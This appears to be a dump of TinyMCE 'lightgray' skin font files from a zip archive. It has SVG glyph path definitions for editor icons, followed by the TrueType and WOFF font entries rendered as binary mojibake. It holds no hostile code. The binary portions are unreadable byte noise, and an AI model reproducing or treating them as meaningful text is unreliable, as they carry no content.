d="M768 896c105.87 0 192-86.13 192-192v-192h-128v192c0 35.29-28.71
64-64 64h-128c-35.29 0-64-28.71-64-64v-192h16c26.4 0 48-21.6
48-48v-480c0-26.4-21.6-48-48-48h-544c-26.4 0-48 21.6-48 48v480c0 26.4 21.6
48 48 48h400v192c0 105.87 86.13 192 192 192h128z" />
<glyph unicode="&#xe928;" glyph-name="settings"
d="M448 832v16c0 26.4-21.6 48-48 48h-160c-26.4
0-48-21.6-48-48v-16h-192v-128h192v-16c0-26.4 21.6-48 48-48h160c26.4 0 48
21.6 48 48v16h576v128h-576zM256 704v128h128v-128h-128zM832 528c0 26.4-21.6
48-48 48h-160c-26.4 0-48-21.6-48-48v-16h-576v-128h576v-16c0-26.4 21.6-48
48-48h160c26.4 0 48 21.6 48 48v16h192v128h-192v16zM640
384v128h128v-128h-128zM448 208c0 26.4-21.6 48-48 48h-160c-26.4
0-48-21.6-48-48v-16h-192v-128h192v-16c0-26.4 21.6-48 48-48h160c26.4 0 48
21.6 48 48v16h576v128h-576v16zM256 64v128h128v-128h-128z" />
<glyph unicode="&#xe92a;" glyph-name="remove2"
d="M192-64h640l64 704h-768zM640 832v128h-256v-128h-320v-192l64
64h768l64-64v192h-320zM576 832h-128v64h128v-64z" />
<glyph unicode="&#xe92d;" glyph-name="menu"
d="M384 896h256v-256h-256zM384 576h256v-256h-256zM384
256h256v-256h-256z" />
<glyph unicode="&#xe930;" glyph-name="warning"
d="M1009.956 44.24l-437.074 871.112c-16.742 29.766-38.812
44.648-60.882
44.648s-44.14-14.882-60.884-44.648l-437.074-871.112c-33.486-59.532-5-108.24
63.304-108.24h869.308c68.302 0 96.792 48.708 63.302 108.24zM512 64c-35.346
0-64 28.654-64 64 0 35.348 28.654 64 64 64 35.348 0 64-28.652 64-64
0-35.346-28.652-64-64-64zM556 256h-88l-20 256c0 35.346 28.654 64 64
64s64-28.654 64-64l-20-256z" />
<glyph unicode="&#xe931;" glyph-name="question"
d="M448 256h128v-128h-128zM704 704c35.346 0 64-28.654
64-64v-192l-192-128h-128v64l192 128v64h-320v128h384zM512 864c-111.118
0-215.584-43.272-294.156-121.844s-121.844-183.038-121.844-294.156c0-111.118
43.272-215.584 121.844-294.156s183.038-121.844 294.156-121.844c111.118 0
215.584 43.272 294.156 121.844s121.844 183.038 121.844 294.156c0
111.118-43.272 215.584-121.844 294.156s-183.038 121.844-294.156
121.844zM512 960v0c282.77 0 512-229.23 512-512s-229.23-512-512-512c-282.77
0-512 229.23-512 512s229.23 512 512 512z" />
<glyph unicode="&#xe932;"
glyph-name="pluscircle" d="M512 960c-282.77
0-512-229.23-512-512s229.23-512 512-512 512 229.23 512 512-229.23 512-512
512zM512 64c-212.078 0-384 171.922-384 384s171.922 384 384 384c212.078 0
384-171.922 384-384s-171.922-384-384-384zM768
384h-192v-192h-128v192h-192v128h192v192h128v-192h192z" />
<glyph unicode="&#xe933;" glyph-name="info"
d="M512 960c-282.77 0-512-229.23-512-512s229.23-512 512-512 512 229.23
512 512-229.23 512-512 512zM448 768h128v-128h-128v128zM640
128h-256v64h64v256h-64v64h192v-320h64v-64z" />
<glyph unicode="&#xe934;" glyph-name="notice"
d="M1024 224l-288 736h-448l-288-288v-448l288-288h448l288 288v448l-288
288zM576 128h-128v128h128v-128zM576 384h-128v384h128v-384z" />
<glyph unicode="&#xe935;" glyph-name="drop"
d="M864.626 486.838c-65.754 183.44-205.11 348.15-352.626
473.162-147.516-125.012-286.87-289.722-352.626-473.162-40.664-113.436-44.682-236.562
12.584-345.4 65.846-125.14 198.632-205.438 340.042-205.438s274.196 80.298
340.040 205.44c57.27 108.838 53.25 231.962 12.586 345.398zM738.764
201.044c-43.802-83.252-132.812-137.044-226.764-137.044-55.12 0-108.524
18.536-152.112 50.652 13.242-1.724 26.632-2.652 40.112-2.652 117.426 0
228.668 67.214 283.402 171.242 44.878 85.292 40.978 173.848 23.882 244.338
14.558-28.15 26.906-56.198 36.848-83.932 22.606-63.062
40.024-156.34-5.368-242.604z" />
<glyph unicode="&#xe939;" glyph-name="minus"
d="M0 544v-192c0-17.672 14.328-32 32-32h960c17.672 0 32 14.328 32
32v192c0 17.672-14.328 32-32 32h-960c-17.672 0-32-14.328-32-32z" />
<glyph unicode="&#xe93a;" glyph-name="plus"
d="M992 576h-352v352c0 17.672-14.328 32-32 32h-192c-17.672
0-32-14.328-32-32v-352h-352c-17.672 0-32-14.328-32-32v-192c0-17.672
14.328-32 32-32h352v-352c0-17.672 14.328-32 32-32h192c17.672 0 32 14.328 32
32v352h352c17.672 0 32 14.328 32 32v192c0 17.672-14.328 32-32 32z"
/>
<glyph unicode="&#xe93b;" glyph-name="arrowup"
d="M0 320l192-192 320 320 320-320 192 192-511.998 512z" />
<glyph unicode="&#xe93c;"
glyph-name="arrowright" d="M384 960l-192-192 320-320-320-320
192-192 512 512z" />
<glyph unicode="&#xe93d;" glyph-name="arrowdown"
d="M1024 576l-192 192-320-320-320 320-192-192 512-511.998z" />
<glyph unicode="&#xe93f;" glyph-name="arrowup2"
d="M768 320l-256 256-256-256z" />
<glyph unicode="&#xe940;"
glyph-name="arrowdown2" d="M256 576l256-256 256 256z"
/>
<glyph unicode="&#xe941;" glyph-name="menu2"
d="M256 704l256-256 256 256zM255.996 384.004l256-256 256 256z"
/>
<glyph unicode="&#xe961;" glyph-name="newtab"
d="M704 384l128 128v-512h-768v768h512l-128-128h-256v-512h512zM960
896v-352l-130.744 130.744-354.746-354.744h-90.51v90.512l354.744
354.744-130.744 130.744z" />
<glyph unicode="&#xeaa8;"
glyph-name="rotateleft" d="M607.998 831.986c-212.070
0-383.986-171.916-383.986-383.986h-191.994l246.848-246.848 246.848
246.848h-191.994c0 151.478 122.798 274.276 274.276 274.276 151.48 0
274.276-122.798 274.276-274.276
0-151.48-122.796-274.276-274.276-274.276v-109.71c212.070 0 383.986 171.916
383.986 383.986s-171.916 383.986-383.986 383.986z" />
<glyph unicode="&#xeaa9;"
glyph-name="rotateright" d="M416.002 831.986c212.070 0
383.986-171.916 383.986-383.986h191.994l-246.848-246.848-246.848
246.848h191.994c0 151.478-122.798 274.276-274.276 274.276-151.48
0-274.276-122.798-274.276-274.276 0-151.48 122.796-274.276
274.276-274.276v-109.71c-212.070 0-383.986 171.916-383.986 383.986s171.916
383.986 383.986 383.986z" />
<glyph unicode="&#xeaaa;" glyph-name="flipv"
d="M0 576h1024v384zM1024 0v384h-1024z" />
<glyph unicode="&#xeaac;" glyph-name="fliph"
d="M576 960v-1024h384zM0-64h384v1024z" />
<glyph unicode="&#xeb35;" glyph-name="zoomin"
d="M992.262 88.604l-242.552 206.294c-25.074 22.566-51.89 32.926-73.552
31.926 57.256 67.068 91.842 154.078 91.842 249.176 0 212.078-171.922
384-384 384-212.076 0-384-171.922-384-384s171.922-384 384-384c95.098 0
182.108 34.586 249.176 91.844-1-21.662 9.36-48.478
31.926-73.552l206.294-242.552c35.322-39.246 93.022-42.554
128.22-7.356s31.892 92.898-7.354 128.22zM384 320c-141.384 0-256 114.616-256
256s114.616 256 256 256 256-114.616 256-256-114.614-256-256-256zM448
768h-128v-128h-128v-128h128v-128h128v128h128v128h-128z" />
<glyph unicode="&#xeb36;" glyph-name="zoomout"
d="M992.262 88.604l-242.552 206.294c-25.074 22.566-51.89 32.926-73.552
31.926 57.256 67.068 91.842 154.078 91.842 249.176 0 212.078-171.922
384-384 384-212.076 0-384-171.922-384-384s171.922-384 384-384c95.098 0
182.108 34.586 249.176 91.844-1-21.662 9.36-48.478
31.926-73.552l206.294-242.552c35.322-39.246 93.022-42.554
128.22-7.356s31.892 92.898-7.354 128.22zM384 320c-141.384 0-256 114.616-256
256s114.616 256 256 256 256-114.616 256-256-114.614-256-256-256zM192
640h384v-128h-384z" />
<glyph unicode="&#xeba7;" glyph-name="sharpen"
d="M768 832h-512l-256-256 512-576 512 576-256 256zM512
181.334v2.666h-2.37l-14.222 16h16.592v16h-30.814l-14.222
16h45.036v16h-59.258l-14.222 16h73.48v16h-87.704l-14.222
16h101.926v16h-116.148l-14.222 16h130.37v16h-144.592l-14.222
16h158.814v16h-173.038l-14.222 16h187.26v16h-201.482l-14.222
16h215.704v16h-229.926l-14.222 16h244.148v16h-258.372l-14.222
16h272.594v16h-286.816l-14.222 16h301.038v16h-315.26l-14.222
16h329.482v16h-343.706l-7.344 8.262 139.072
139.072h211.978v-3.334h215.314l16-16h-231.314v-16h247.314l16-16h-263.314v-16h279.314l16-16h-295.314v-16h311.314l16-16h-327.314v-16h343.312l7.738-7.738-351.050-394.928z"
/>
<glyph unicode="&#xec6a;" glyph-name="options"
d="M64 768h896v-192h-896zM64 512h896v-192h-896zM64
256h896v-192h-896z" />
<glyph unicode="&#xeccc;" glyph-name="sun"
d="M512 128c35.346 0 64-28.654 64-64v-64c0-35.346-28.654-64-64-64s-64
28.654-64 64v64c0 35.346 28.654 64 64 64zM512 768c-35.346 0-64 28.654-64
64v64c0 35.346 28.654 64 64 64s64-28.654
64-64v-64c0-35.346-28.654-64-64-64zM960 512c35.346 0 64-28.654
64-64s-28.654-64-64-64h-64c-35.348 0-64 28.654-64 64s28.652 64 64
64h64zM192 448c0-35.346-28.654-64-64-64h-64c-35.346 0-64 28.654-64
64s28.654 64 64 64h64c35.346 0 64-28.654 64-64zM828.784
221.726l45.256-45.258c24.992-24.99 24.992-65.516
0-90.508-24.994-24.992-65.518-24.992-90.51 0l-45.256 45.256c-24.992
24.99-24.992 65.516 0 90.51 24.994 24.992 65.518 24.992 90.51 0zM195.216
674.274l-45.256 45.256c-24.994 24.994-24.994 65.516 0 90.51s65.516 24.994
90.51 0l45.256-45.256c24.994-24.994 24.994-65.516
0-90.51s-65.516-24.994-90.51 0zM828.784
674.274c-24.992-24.992-65.516-24.992-90.51 0-24.992 24.994-24.992 65.516 0
90.51l45.256 45.254c24.992 24.994 65.516 24.994 90.51 0 24.992-24.994
24.992-65.516 0-90.51l-45.256-45.254zM195.216 221.726c24.992 24.992 65.518
24.992 90.508 0 24.994-24.994 24.994-65.52
0-90.51l-45.254-45.256c-24.994-24.992-65.516-24.992-90.51 0s-24.994 65.518
0 90.508l45.256 45.258zM512 704c-141.384 0-256-114.616-256-256 0-141.382
114.616-256 256-256 141.382 0 256 114.618 256 256 0 141.384-114.616 256-256
256zM512 288c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634
160-160-71.634-160-160-160z" />
<glyph unicode="&#xeccd;" glyph-name="moon"
d="M715.812 895.52c-60.25 34.784-124.618 55.904-189.572 64.48
122.936-160.082 144.768-384.762
37.574-570.42-107.2-185.67-312.688-279.112-512.788-252.68 39.898-51.958
90.376-97.146 150.628-131.934 245.908-141.974 560.37-57.72 702.344 188.198
141.988 245.924 57.732 560.372-188.186 702.356z" />
<glyph unicode="&#xecd4;" glyph-name="contrast"
d="M512 960c-282.77 0-512-229.23-512-512s229.23-512 512-512 512 229.23
512 512-229.23 512-512 512zM128 448c0 212.078 171.922 384 384
384v-768c-212.078 0-384 171.922-384 384z" />
<glyph unicode="&#xed6a;" glyph-name="remove22"
d="M893.254 738.746l-90.508 90.508-290.746-290.744-290.746
290.744-90.508-90.506 290.746-290.748-290.746-290.746 90.508-90.508 290.746
290.746 290.746-290.746 90.508 90.51-290.744 290.744z" />
<glyph unicode="&#xedc0;" glyph-name="arrowleft"
d="M672-64l192 192-320 320 320 320-192 192-512-512z" />
<glyph unicode="&#xedf9;" glyph-name="resize2"
d="M0 896v-384c0-35.346 28.654-64 64-64s64 28.654 64
64v229.488l677.488-677.488h-229.488c-35.346 0-64-28.652-64-64 0-35.346
28.654-64 64-64h384c35.346 0 64 28.654 64 64v384c0 35.348-28.654 64-64
64s-64-28.652-64-64v-229.488l-677.488 677.488h229.488c35.346 0 64 28.654 64
64s-28.652 64-64 64h-384c-35.346 0-64-28.654-64-64z" />
<glyph unicode="&#xee78;" glyph-name="crop"
d="M832 704l192 192-64
64-192-192h-448v192h-128v-192h-192v-128h192v-512h512v-192h128v192h192v128h-192v448zM320
640h320l-320-320v320zM384 256l320 320v-320h-320z" />
</font></defs></svg>PKV��[Tf��DD)tinymce/skins/lightgray/fonts/tinymce.ttfnu�[����0OS/2��`cmap�f��4gaspPglyf}
�=X<�head/>�6hhea�6?$$hmtx��?H�loca�e�TA<�maxp��B8
name�TBX�postC�
��������3	@�x���@�@
B@
�(�5���+�������(�*�-�5�=�A�a���6��j�����j���x����
��*��
�*�������&�*�-�0�9�?�a���5��j�����j���x������

98IKIDB<431/,+��=�������797979���!!!3#!3!3��������@@K5�������@5@����1'.#!"3!2654&#5#!"&5463!23��P!�
!//!�!/!E��	�
		����!/!��!//!`!P���		`	����/75'.'7'./#'737>77'>7'#'573�hq�+�+�qh��hq�+�+�qh�������p�+�qh��hq�+�+�qh��hq�+
������!!!!!!!!!!�����������@���@����!!!!!!!!!!�������������@���@����!!!!!!!!!!��������������@���@����!!!!!!!!!!�������@�@�@�@�m����2Vb�%.+'>4&'	#"3267>'732676&'#"&'.5467>7>7>327"&54632#"&'.'.'.5467>32{"T(@������@(T"=3;
(S#("AA"(#S(
;3=���%55%%552�"#@DHD���DHD�@#"=�3#"(c.BB.c("#3�=�

�5&%55%&5�

@���&*-354&+54&+"#"3!!781381#55!537#!!@
�&�&�


��������e�����
@&&@
��
��@@�@@�[e@�@���)7ES!!%!!#!!!#"3!26533!2654&#"&546;2#"&546;2#"&546;2@������x8���8**0*�*0**�����@

@
o���@@@���*��**x��**0*��



�



�@



���#/!!!!!!4632#"&4632#"&4632#"&������������K55KK55KK55KK55KK55KK55K������@5KK55KK��5KK55KK��5KK55KK@���)%!!!!!!'#5#53#575#53#535#535#5�����������@@@�����������������@��2@�<2@��@@@@@�!!!!!!!!!!����������������@�@�@�@����!!!!!!!!!!%�����������������@�@�@�@�����@=2#".5'4>3">!2#".5'4>3">�.R=##=R..R=#Fz�]@u-	I.R=##=R..R=#Fz�]@u-	#=R..R=##=R.
]�zF�0.
#=R..R=##=R. ]�zF�0.
@����
>.	6�+&8�������FO@M��e�����������5	5&&>@�����8&+iOF��������e��Mr�.����
@r67>'&7#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64@
'<

'���
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�


	c
		
�	
A19�.
<'

��'
	�
		
c	

	�	
A�.�-c�*u.Ac�*u.A
	�
		
c	

	�	
A�-����2eimquy}#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64''773#3#'3#3#�
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�	

	c
		
�	
A19�..��.�i@@�����.��@@��
	�
		
c	

	�	
A�-�-d�*u.Ac�*u.A
	�
		
c	

	�	
A�-�-��.��@��.�)��@���@�			!�@@@����@�����%@!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`	@@"!#535#535#53!!#535#535#53%��������@����������@��@����������������������8M3#2#575!57"32>7>54.'.#512#".54>���%������*PKD--DKP**PKD--DKP*j��PP��jj��PP���@%��@�@��-DKP**PKD--DKP**PKD-`P��jj��PP��jj��P@���	3	!#	3@�����������6�J+6@J"32>54.#"&'.5467>32'>77.'#17'P�i<<i�PP�i<<i�|)i::i)(,,()i::i)(,,�R+%C:0V`<.V0:C%+<`��@�(�<i�PP�i<<i�PP�i<��(,,()i::i)(,,()i::iV0:C%+<`�+%C:0V`6�
�2v�
Il"32>7.2#"&546#"&'.'.'>7>732654&'.#">7>325.'O��p,,p��OO��p,,p���%%%%a?
"D##D"
?/U##U/2pPPp2/U##U()UWZ..ZWU),R%*a5&MPS**SPM&5a*%R,�$C_::_C$$C_::_C$�%%%%��A((A
6PppP6
A((A�9!m,I

I,m!9��0%7!3#33#B::r��r�H:��������
�#'!5!!5!5#!5!!%!!5!!!!5!����@����������������@������������������!!������7!!!!''7'77@�����@U�|���>��>��>��@���@
����>��>��>������%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n���������3%!7!5>54.#"!!5.54>32�@��1R<!7`�II�`7!<R1��@FvU/P��jj��P/UvF@���H_p>P�g;;g�P>p_H��!Sl�G]�zFFz�]G�lS���'3?S"32>54.".54>32#"&54632#"&546322>7#".'j��PP��jj��PP��jY�uDDu�YY�uDDu��%%%%�%%%%�5aRB8Um==mU8BRa�P��jj��PP��jj��P�PDu�YY�uDDu�YY�uDp%%%%%%%%��"-@oQ//Qo@-"�'!!!";!32654&!!%#"&54632����&&��&&�����@&��&�&@&��@����
''7''!7!7'7!7��lԊ�v�lԊ�������l�Ԋ���������lԊ��lԊ��������llԊ���@����
048>334&+"33#%5#";5#54&+326=4&#26#535#53	7��@&�&@��@�&&���&��&@�����`�R�`���&&�����@&��&@@``&�@&`&&ƀ@���@
F�.���#53533##%!3!�������@����������������#'/37?CH3#73#%#535#53#73#%3#33#73#%#535#53#73#%3#3!!1!������@��@�@�������@��@�����@��@�@�������@������@�@@@@�@�@�@@@��@@��@@@@�@�@�@@@��@@@�������#3#73#%3#73#%3#!3!!#!�������������
��@
���@@@@@@@@@@�@��������@�����%+2#5267>54&'.#"33>!3@]�zFFz�]G�225522�GG�2&2	���Nv����Fz�]]�zF`522�GG�22552&_4�Q�g;���@��@�$>54.#!!2>54&32+#32�
(F]5���5]F(D��e*<<)f���,>>�"T/5]F(��(F]5FtFK55K��K55K���#3!53#5������@�@��@�@@@�@�3#".533267>5!!��2WuBBuW2�I((I������`<iN--Ni<��`88����8<#"&'.5332654&#"&'.5467>32#4&#"32%!!�0550,q>>q,05�rNNrrN>q,0550,q>>q,05�rNNrrN>q,�%��$b55b$!$$!$b54LL44L$!$b55b$!$$!$b54LL44L$!@���!####".54>�����.R=##=R�����#=R..R=#@��!####".54>
�����.R=##=R��������#=R..R=#����
��!####".54>-����.R=##=R������#=R..R=#�������	#5'!!!'##%!3!!5333@���@���ee��ee��@��������@���@eeee���@�����@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@����	''�
������������5A!'!!3!!.54>32'>54&#"3267?6&%"&54632��`
��@�8K-�@�'B0+Jc88cJ+c�
pPPppP2�3��3II33II@@�����3BQ,8cJ++Jc8
ү2PppPPp
�3�I33II33I@���*59=373#35#335'54&+54&+"#"3!!81381#55!!!
 @0�0@  @
�&�&�


���������@�@@@���
@&&@
��
��@@�@@�@@���"&.'.#"#5>723#5!!!�	&		z�]�W�@���@PF

��s�*�����@�0��}:)%!!!!>2&'>7>&'.s��CI�L���B���BBBBB.mv{;.`_X%8<04-t~8V��P�G�GBBBBB���B-<
3%9���4-0&)V'-����+i'#".'81<5<51045041>7'7818181<1.10>7>71099>581<5<5}Z@JQ+N�i>%�-�:c-x�u%;K%F
<<)?,MY0";f�P'OMJ#�-���d0w�k
:R1F&BB&4c^W'MG$��
`%KWj546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�.
Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh
.hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh.
h&CC&+==++==�=+*;>%ZX+=�!!5!5#!55!!!!5!����@��������������������������	�#!!5!5#!5!!%!!5!!!!5!����@�������������������������������@�!!5!5!5!!5!5!5!!5!5!5!5!5!�@��@��@��������@��@��@�@��@�@�@��!!!5#!5!!5!!!��@���@��������������@�������������%5#53533#!!!!5!5!5!5!5!@��V���j����@@�����Z��Z��������@�@�@��3##5#535%!!5!5!5!5!5!!!���V�����@������@��Z��Z��������@�@��@��##5#53533!!5!!5!!5!5!!��F��F��M�@�@�@�������C��@����������=��3533##5#!!!%!!!!5!5!M�F��F��������������C��C������������=��'!!!!5!5!5!5!5!!!5!5!''7'77���@������@�`=��=��=��=���������@�@��@�@���=��=��=��=��!!!!''7'77�=��}�`��`��`��`�����@���`��`��`��`�@�!!5!5!5!5!5!!5!5!5!5!5!�����@������@��@�@��@�@�@�@�!!5!5!5!!5!5!5!!5!5!5!�@��@��@�����@��@��@�@��@�@��$''7'77!#3#3!5!7!5!'!5!v��M��M��M��I��@@VZ@��6@��s@���=��M��J��M��MC�����@�@��@�@��%155!!'5!'5!!57!57!'77'7@@@@@@����
3�3
�#0��M��L��M���@
@�M@�@����3
4ZZ4
3�@v#ss0S�j��M��M��M��@����
5%33'47632#"'&��@�@@�@��@��((((�@��@���@��@��(((
�#'3#7!!3#7!!3#7!!3#7!!3#7!!���@�������������@�����@������������@���@���@���@������3'	7%93267>594&'.'
DVVV����TW��#@�		
	
�CVVV���P���#3I/


,���!!!!!!!!����
�j@V�*�*����	#57'762!!5�
���@�C+lC���Ts�
���=�Cm+C��pp	���	!GVht�!!##53#575#53%#535#535#5>32#.'#"&546?>54&#"##3267573>32#"&'#32654&#"%.#"3267#"&54632#�0CC�Ɇ��̉�����55+J
)0.5&C�		�J0:=0GG�G?07BC90>C�@�C�6C�@7C����CCGCC�,(
p
+!"'	
3	#�p
E7:MV� ''
!%'%"$%-3G9<G2.���2.#"34>32!#".'7!732>5z#U`j8j��P`Aq�V.WOE�`�&Aq�V.WOE����#U`j8j��P&>+P��jV�qA$3
�`���V�qA$3 ����&>+P��j���
(,'>735!5#!!.'#7261%#3733%7#*w4+#
���]��H3!6\D+�D�$]�]3�3]��MM�0v"IMP(]]]]C7$M,:j0�C�]�Ѝ����@��3#3#%3#3#%3#3#%3#3#@������������������������������������	5	!!!�������r��s���s�����
@�7)!3#!!3#@�����@���@���Q��Q��@���@@����!!"3!265#5#	G��E���!//!�!/�����E?���/!��!//!0��������!!7!"3!26534&'��`��(88(�(8
���`X��0�0�����8(�@(88(����`HX��0�0���!";!2654&!5#!���(88(�3m(88H����8(�(8�8((8�����@�`&.106726'46.#"310!4.oE
SZZS
EpqU�Uqp>V@dW^JJ^Wd@V>-FZ00ZF-����##54&+"#"3!2654&%46;2!PqO�Oq
�\&�&��OqqO��
��&&�����#2#54&+"32#!"&5463!5463Oq�&�&���qO�qO��&&��
��Oq�37OS54&+"#3;26=!5534&+"!!;26=35#534&+"#3;26=!5!53�����@������@�����������@����@�����������������@����
!!%5!!7!5!#53��@����@@����@�����@@�@���!!!!!!������@�@�����$%.#"3!26'%"&546327#4632�K

�K%3f3%�%%%%X%%,g��,@@,%%%%�%%���8M3#2#575!57"32>7>54.'.#512#".54>���%������*PKD--DKP**PKD--DKP*j��PP��jj��PP���@%��@�@��-DKP**PKD--DKP**PKD-`P��jj��PP��jj��P���'3"32>54.".54>32##5#53533j��PP��jj��PP��jP�i<<i�PP�i<<i���������P��jj��PP��jj��P��<i�PP�i<<i�PP�i<@��������!"32>54.3#!53#533j��PP��jj��PP�������@@�@�P��jj��PP��jj��P���@@�����	
%!!#535#3��@��
� �ࠀ������@�� �
��������a�6.'32>7>&'#"&'32>7>'aK\j77j\KHYe55eYH~!|F)N!

,TJ="
"�E�wl//lw�E+XXV).L66L.)VXX+��>K-?'@�5*0�A@@3!26=4&#!"
�

�@

�

�
���#!4&+"!"3!;265!26=4&�
�
��

`
�
`
@`

��
�
��

`
�
�@	7�@@��@�@��������	��@����������@'	������@���@��@@	��@�@@	@���		������@��	7!!!!'#5'��������[c�����������[b�
@�@#"#7#4>32#2>54.#`P�i<����+Jd99dJ++Jd9P�i<<i�P@<i�P��9dJ++Jd99dJ+n<i�PP�i<
@�@#23'34.#"3".54>3�P�i<����+Jd99dJ++Jd9P�i<<i�P@<i�P��9dJ++Jd99dJ+n<i�PP�i<�!!�@��@�����!)@��@�������"6B%'.>54.#"326776&".54>32##33535#��'+1<i�PP�i<<i�PG�2�K��5]F((F]55]F((F]������Y�2�GP�i<<i�PP�i<1+'�K(F]55]F((F]55]F(����������"6:%'.>54.#"326776&".54>32!!��'+1<i�PP�i<<i�PG�2�K��5]F((F]55]F((F]����Y�2�GP�i<<i�PP�i<1+'�K(F]55]F((F]55]F(@�@N!	5#'35#'35#'35#'35#'35#'35#'35#'35#'35!'!5!'!5!'!5!'733#3!!!!!!���-;IXft�����������-��I����������7��W��@���@�u��u@@�!!!!!!@����������@�@�
���
)7FTcr��%2#"&=46"&=46322+"&5463+"&546;2"/&4762'&4762"%"'&4?6262"'&4?"32>54."&54632%%%%%%%%�%%@%%�@%@%%@%}-5.5��-5.5g5.5-��5.5-=5]F((F]55]F((F]5B^^BB^^�%@%%@%�%@%%@%�%%%%@%%%%�.5-5�.5-55-5.�<5-5.�(F]55]F((F]55]F(�`^BB^^BB^3��.''>7>.'�-`1.6!((r��KK.\ʿ�553z\�
<���EFhA
'C53z\\˿�6���"32>54.4>3".j��PP��jj��PP���<i�PP�i<�P��jj��PP��jj��P�P�i<�<i��C}='			7}Z���Z"��Z##Z���Z��"Z���Z"��Z#���`�7	'����@��@�@@�����(326=#"3!2654&#"32654&#!"%%��%%�%%%�[�%%��%���%%�[%%%�%%��%%%���7'!5##3!3535#!@�@��@�������@��@@��@�����������@@����#�_<��������������}@m@@@.�@6�@������@
�@0-��@*@@@@���@
 @3��
B��8b�R�^���Pn�<�F���
<����		`	�

P
�
�@��L���

P
�
�
t�x6x��$\��F|��Fz�&Rd��0h��>r�Z�Dl��(<P^l���"4��\vHx���J}��`6uK
�		g	=	|	 	R	
4�tinymcetinymceVersion 1.0Version
1.0tinymcetinymcetinymcetinymceRegularRegulartinymcetinymceFont generated
by IcoMoon.Font generated by
IcoMoon.PKV��[�QLDLD*tinymce/skins/lightgray/fonts/tinymce.woffnu�[���wOFFDLDOS/2``�cmaph44�f��gasp�glyf�<�<�}
�=head?866/hhea?p$$�6hmtx?�����locaA����e�TmaxpB�
 ��nameB����TpostD, 
��������3	@�x���@�@
B@
�(�5���+�������(�*�-�5�=�A�a���6��j�����j���x����
��*��
�*�������&�*�-�0�9�?�a���5��j�����j���x������

98IKIDB<431/,+��=�������797979���!!!3#!3!3��������@@K5�������@5@����1'.#!"3!2654&#5#!"&5463!23��P!�
!//!�!/!E��	�
		����!/!��!//!`!P���		`	����/75'.'7'./#'737>77'>7'#'573�hq�+�+�qh��hq�+�+�qh�������p�+�qh��hq�+�+�qh��hq�+
������!!!!!!!!!!�����������@���@����!!!!!!!!!!�������������@���@����!!!!!!!!!!��������������@���@����!!!!!!!!!!�������@�@�@�@�m����2Vb�%.+'>4&'	#"3267>'732676&'#"&'.5467>7>7>327"&54632#"&'.'.'.5467>32{"T(@������@(T"=3;
(S#("AA"(#S(
;3=���%55%%552�"#@DHD���DHD�@#"=�3#"(c.BB.c("#3�=�

�5&%55%&5�

@���&*-354&+54&+"#"3!!781381#55!537#!!@
�&�&�


��������e�����
@&&@
��
��@@�@@�[e@�@���)7ES!!%!!#!!!#"3!26533!2654&#"&546;2#"&546;2#"&546;2@������x8���8**0*�*0**�����@

@
o���@@@���*��**x��**0*��



�



�@



���#/!!!!!!4632#"&4632#"&4632#"&������������K55KK55KK55KK55KK55KK55K������@5KK55KK��5KK55KK��5KK55KK@���)%!!!!!!'#5#53#575#53#535#535#5�����������@@@�����������������@��2@�<2@��@@@@@�!!!!!!!!!!����������������@�@�@�@����!!!!!!!!!!%�����������������@�@�@�@�����@=2#".5'4>3">!2#".5'4>3">�.R=##=R..R=#Fz�]@u-	I.R=##=R..R=#Fz�]@u-	#=R..R=##=R.
]�zF�0.
#=R..R=##=R. ]�zF�0.
@����
>.	6�+&8�������FO@M��e�����������5	5&&>@�����8&+iOF��������e��Mr�.����
@r67>'&7#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64@
'<

'���
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�


	c
		
�	
A19�.
<'

��'
	�
		
c	

	�	
A�.�-c�*u.Ac�*u.A
	�
		
c	

	�	
A�-����2eimquy}#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64''773#3#'3#3#�
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�	

	c
		
�	
A19�..��.�i@@�����.��@@��
	�
		
c	

	�	
A�-�-d�*u.Ac�*u.A
	�
		
c	

	�	
A�-�-��.��@��.�)��@���@�			!�@@@����@�����%@!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`	@@"!#535#535#53!!#535#535#53%��������@����������@��@����������������������8M3#2#575!57"32>7>54.'.#512#".54>���%������*PKD--DKP**PKD--DKP*j��PP��jj��PP���@%��@�@��-DKP**PKD--DKP**PKD-`P��jj��PP��jj��P@���	3	!#	3@�����������6�J+6@J"32>54.#"&'.5467>32'>77.'#17'P�i<<i�PP�i<<i�|)i::i)(,,()i::i)(,,�R+%C:0V`<.V0:C%+<`��@�(�<i�PP�i<<i�PP�i<��(,,()i::i)(,,()i::iV0:C%+<`�+%C:0V`6�
�2v�
Il"32>7.2#"&546#"&'.'.'>7>732654&'.#">7>325.'O��p,,p��OO��p,,p���%%%%a?
"D##D"
?/U##U/2pPPp2/U##U()UWZ..ZWU),R%*a5&MPS**SPM&5a*%R,�$C_::_C$$C_::_C$�%%%%��A((A
6PppP6
A((A�9!m,I

I,m!9��0%7!3#33#B::r��r�H:��������
�#'!5!!5!5#!5!!%!!5!!!!5!����@����������������@������������������!!������7!!!!''7'77@�����@U�|���>��>��>��@���@
